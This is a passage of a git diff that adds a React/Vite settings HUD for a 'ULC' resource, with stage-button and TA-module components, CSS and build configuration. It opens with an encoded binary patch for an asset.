z6+!E*O!)r*$KU*TzcKq;)k@X>0OJj@ep^jtsBOvD@40Ns_5S297CwRsynEs)s;a1S zr?~xC<@Ex-psjk}acBzU=2YFK4{WsUz3~j2%A5Ph1Fn1dk@YH}60dDh`+!x}$9%*T zKo0i>Z*+U88n|qlp{(i#n(_ zHtwZfE|uJh{zBiWUOkHYmN|ViR6`t8pk5}?ivxlh_*I#-`-v-t?BMoTD9szHn#eOagI+L zDlU!jER00@nmF|v^jiCdz3xl8;5~H*d*J^7ausg=#}^IVWLHt!N`LM}<-Z`f2l;k? zsjAiWP|G7l+>o~vej=EMYx5LdF8hO#d&q`H$B$7TZT9stTlT-yQ+E+t)5fLaK;ERA z@=Diie76C8*(Kir>Q+@cd$KvTc=lDcMP0TjWQyh$P7ZKUS$duz+ z)Neut;Q0rxq$*ZU_>O~xmipxVNnKwM6K(O-g{_ga;Mb{tme0gC4V>yVy{&}5jv}9C zKql?C^)IKrSp*MUaV>F?R~%{O>-7gA1J`o565aPKQQB|2?lr@8=#@TKdRl>(Ux=%Q zDT%J&a0zz-UH_tL{Jhn0C67l_a7S|r1P<5-fs)koX zf7Dc=%k>P7@>&YwBTtcuP`;ZVayO3u02LJv<;NE;S0nrGWURKfAMR;5{{WJxx~SyU zzBKhvtNBxzYL6}s;AnBC;yzsEPZ7IlhU)KEBX;GDuz9PdCy&SFl~IjuDhJiOVL|k$ z@0piRIzMxC991(eP5oMpH}z+@e=np%inzV&ef+}hOhbs`2B_SX$?2}4by^p=eK|U4 z`G{j$IQI~5;!WQ8e{j`+{6*i(FE1RoPOd^aO8)?GEzLVP+;7Bq`6MF!9h^&Jb;tDs z%T-kW0CCZZZ+t$aa_+&qWVuxpsTnq{{vxKAhnNnuHS;a;jzRv38_aTSuUt#%?6=>j zfxdrGKpe4n>OtjBDnRpfg8an0>RD=+Croq4>b_s~4=*nE$u7K&CsEK_iXQ#LBAzb& zy+WRbM>Ut?YSA2?U>x54Np^iL@h%!obqWk#Q1=CINi>){t;wuge|03T>K5geiEDZW zX$^JunQ?e{i;o5+3^8227w$-|zx{!Y@_3xr%-%LypOdI2>_Sy-Wuu#wQsRK|atyJt ze$oclXUQNq;^bllV|v^xE3YH(EN{p7_s_XqQB5)aN+^7=$+L=hK4nQ(f8ti%@_LB3 zWP+CaZsm<5S@pS-#K7^|_wH!`aUQN%<@C~~xsjF76gO+HU@2nINd6y~qPj$by&6eDO1jVwlkdQ|c?=?rV#* zeM4Mw`jA-Z<591qa>q~~C(8h%=0=puAD_HTs}VA{dX_u2=D%!(ry{BYU2_yOM#8#~ z+SO6o!rP%g?H{7UW~GnS_2kyLC3e+O`iOUkp9IZbKTiitZRO@hPiH)}G9KGM+}lPy zUuDdrd>^SCY^FAF7v22Bpx`@}TcE`o=5+H7Z}&15@^7h{ZoIY25XUpjZlSDoS1+ee z6&p-$(%h#!1Nn>^KCmP3G^DLH%M0g;b zUcNhvl5V)_U&^xnIYkV%~uRE3oiG>u?q#s`HOj7 zU+NuDx9pBN3*AF1z5U`nAFkxKQH|I2FMz8khl)0CYgCUA7Qc_~3&1P04o&Td$b z_~Ki*pUX|#QqrJ0YELgvZl5Q{SdV+6DpO+1Clht3THW#LO;s8zxVr$l`S&V)+XtLa zQo1V~YP(>XvDx!AZy)2_x4}y)JE86t4PKo#^CL}QMu+(0_mx}xc1iOe97}!}&^`lw z-RcdAZ4#==*59-gd&^x!eD-zks2JPh?UGgPUvE*z>MxI(bW`_|pZOnfc2RdB9bNp* zVwks&=0nS;`kA28+wasusLS^Y7f#|`($MQtMAwqkvHn~q$ILH~$GzM#tAG06+}@Mv ztN#FVBafFn>6iUa+wl;_yo{{r^)D(oxpliobOsp(JexZ_& z9dj&vc`UvNs5*YqR9shlZ>VzHdW!Nq{6S25_-;Q>Tv-n>&Z|qxNIAs~f2ifiRd*Mk zBlR=oOXX<)08s<&M_!@5ZmZE8vfaq1Zm*K%r1cE60;Vq!ytRwQFs0pZt@Ro*c;lLZ zg=K%HA>v;okEl~FH@F^GR7k#ZiUob;b)%n0a0lP+U5^aamrYaI1s;D8yKO$(j{Kcn za|?RMCMCUr>I#WR;-c-}HB71asak$v#{2X|HTkw*$@1rVkypFai!Sl!-%_kiC6cjd zG;#3`?N{$AHR4o!aavs*`(W3-LyW$ob4@MLzGJRJrNMf~{{Zf0d88};@>j{-vfqlA zY+d4SjZ_VCKXzNmQ%k8eLh&qC?zBh810DAh>o2pWWxTTAGRYV1>LS-(H(ba!eH{GC z?LMA4VWUC6_bvP8KOcyeo+^H~0KIuyYD;0ihT-jhM6tCv->pO_@mpVVt}KAId*f3@ zg@37+AM&rvTV3RN9kKdVTLTF(L%r0zb?|pBy>tCbY2!u6Z%6X(Rmu4K!Q!uV z%trC6A*+3ocNfj2`|~30&dwpMP7Z%jIQQ`)`wMuLcV7_Ia?44*d>MxPKd@ye!tGT0GLaOU7ce!}!0^foiPt$eo6zsTz@8SYvpYgcp+_2(~4MiHiCt8{EqLTN_-gS;iS7go^T2WUY6KJJ+ zmL+-qBDA>l62%ZJsDH>90(Z=uajz88z}>6GkIf+<|g&x}l9x<{3P(O2vN_BaCvsd6$yfz0@D& Rj +
+ ({ + minHeight: '30vh', + background: 'rgba(26,28,32,0.85)', + borderRadius: theme.radius.md, + padding: '10px', + })}> + +
+ +

ULC SETTINGS

+
+
+
+ +
+ Click & drag HUD to reposition! + +
+
+ + + + Anchor Position + + {setUseLeftAnchor(value); setPosition(0.0, 0.0)}} + data={[ + {label: 'Right', value: 'false'}, + {label: 'Left', value: 'true'} + ] + }/> + + + + + HUD Scale + + `${value.toFixed(1)}`} + /> + + + + + Disable HUD + + setHudDisabled(event.currentTarget.checked)}/> + + + + + + + + + + + +
+
+ + ) +} + +export default Menu \ No newline at end of file diff --git a/resources/ulc/src/src/components/StageButton.css b/resources/ulc/src/src/components/StageButton.css new file mode 100644 index 000000000..c0a876300 --- /dev/null +++ b/resources/ulc/src/src/components/StageButton.css @@ -0,0 +1,42 @@ + +.button { + + aspect-ratio: 144/121; + width: 65px; + display: flex; + justify-content: center; + align-items: center; + text-align: center; + + background-image: url('../assets/button_off.png'); + background-size: contain; + background-repeat: no-repeat; + + margin: 4px; + padding: 5px; + + color: rgb(81, 81, 81); + font-family: Arial, Helvetica, sans-serif; + font-weight: 800; + font-size: 10pt; + line-height: 14px; +} + +/* this is method to change background image */ +/* just apply second class to the object */ +.blue { + background-image: url('../assets/button_on_blue.png'); + color: #4e598f +} +.red { + background-image: url('../assets/button_on_red.png'); + color: #95665D +} +.amber { + background-image: url('../assets/button_on_amber.png'); + color: #948255 +} +.green { + background-image: url('../assets/button_on_green.png'); + color: #596a2d +} \ No newline at end of file diff --git a/resources/ulc/src/src/components/StageButton.tsx b/resources/ulc/src/src/components/StageButton.tsx new file mode 100644 index 000000000..f4cfd4771 --- /dev/null +++ b/resources/ulc/src/src/components/StageButton.tsx @@ -0,0 +1,35 @@ +import React from 'react' +import { useState, useEffect } from 'react' +import { Box } from '@mantine/core' +import './StageButton.css' + +function StageButton(props: any) { + const { label, numKey, enabled, color, showHelp } = props + const [classString, setClassString ] = useState('button') + + // color strings = 'red', 'blue, 'amber' + useEffect(() => { + if (enabled) { + setClassString(`button ${color}`) + } else { + setClassString(`button`) + } + }), [props] + + if (showHelp) { + return ( +
+ {`NUM ${numKey}`} +
+ ) + } else { + return ( +
+ {label} +
+ ) + } + +} + +export default StageButton \ No newline at end of file diff --git a/resources/ulc/src/src/components/TaModule.css b/resources/ulc/src/src/components/TaModule.css new file mode 100644 index 000000000..fa122d3e1 --- /dev/null +++ b/resources/ulc/src/src/components/TaModule.css @@ -0,0 +1,13 @@ +.ta-module { + aspect-ratio: 256/168; + height: 100%; + + background-image: url('../assets/ta_off.png'); + background-size: contain; + background-repeat: no-repeat; + background-position: center; +} + +.module-on { + background-image: url('../assets/ta_on.png') +} \ No newline at end of file diff --git a/resources/ulc/src/src/components/TaModule.tsx b/resources/ulc/src/src/components/TaModule.tsx new file mode 100644 index 000000000..fa173d6a9 --- /dev/null +++ b/resources/ulc/src/src/components/TaModule.tsx @@ -0,0 +1,24 @@ +import React from 'react' +import { useState, useEffect } from 'react' +import './TaModule.css' + +function TaModule(props : any) { + + const [classString, setClassString ] = useState('ta-module') + + // color strings = 'red', 'blue, 'amber' + useEffect(() => { + if (props.on) { + setClassString(`ta-module module-on`) + } else { + setClassString(`ta-module`) + } + }), [props] + + + return ( +
+ ) +} + +export default TaModule \ No newline at end of file diff --git a/resources/ulc/src/src/main.tsx b/resources/ulc/src/src/main.tsx new file mode 100644 index 000000000..2d845ed06 --- /dev/null +++ b/resources/ulc/src/src/main.tsx @@ -0,0 +1,16 @@ +import React from 'react' +import ReactDOM from 'react-dom/client' +import App from './App' +import { MantineProvider } from '@mantine/core' + +ReactDOM.createRoot(document.getElementById('root') as HTMLElement).render( + ({ + html: { + colorScheme: 'normal' + } + }) + }} > + + +) diff --git a/resources/ulc/src/src/vite-env.d.ts b/resources/ulc/src/src/vite-env.d.ts new file mode 100644 index 000000000..11f02fe2a --- /dev/null +++ b/resources/ulc/src/src/vite-env.d.ts @@ -0,0 +1 @@ +/// diff --git a/resources/ulc/src/tailwind.config.js b/resources/ulc/src/tailwind.config.js new file mode 100644 index 000000000..c189a4a51 --- /dev/null +++ b/resources/ulc/src/tailwind.config.js @@ -0,0 +1,9 @@ +/** @type {import('tailwindcss').Config} */ +export default { + content: [], + theme: { + extend: {}, + }, + plugins: [], +} + diff --git a/resources/ulc/src/tsconfig.json b/resources/ulc/src/tsconfig.json new file mode 100644 index 000000000..3d0a51a86 --- /dev/null +++ b/resources/ulc/src/tsconfig.json @@ -0,0 +1,21 @@ +{ + "compilerOptions": { + "target": "ESNext", + "useDefineForClassFields": true, + "lib": ["DOM", "DOM.Iterable", "ESNext"], + "allowJs": false, + "skipLibCheck": true, + "esModuleInterop": false, + "allowSyntheticDefaultImports": true, + "strict": true, + "forceConsistentCasingInFileNames": true, + "module": "ESNext", + "moduleResolution": "Node", + "resolveJsonModule": true, + "isolatedModules": true, + "noEmit": true, + "jsx": "react-jsx" + }, + "include": ["src"], + "references": [{ "path": "./tsconfig.node.json" }] +} diff --git a/resources/ulc/src/tsconfig.node.json b/resources/ulc/src/tsconfig.node.json new file mode 100644 index 000000000..9d31e2aed --- /dev/null +++ b/resources/ulc/src/tsconfig.node.json @@ -0,0 +1,9 @@ +{ + "compilerOptions": { + "composite": true, + "module": "ESNext", + "moduleResolution": "Node", + "allowSyntheticDefaultImports": true + }, + "include": ["vite.config.ts"] +} diff --git a/resources/ulc/src/vite.config.ts b/resources/ulc/src/vite.config.ts new file mode 100644 index 000000000..02f3ac6a3 --- /dev/null +++ b/resources/ulc/src/vite.config.ts @@ -0,0 +1,11 @@ +import { defineConfig } from "vite"; +import react from "@vitejs/plugin-react"; + +// https://vitejs.dev/config/ +export default defineConfig({ + plugins: [react()], + build: { + outDir: "../html", + }, + base: "", +});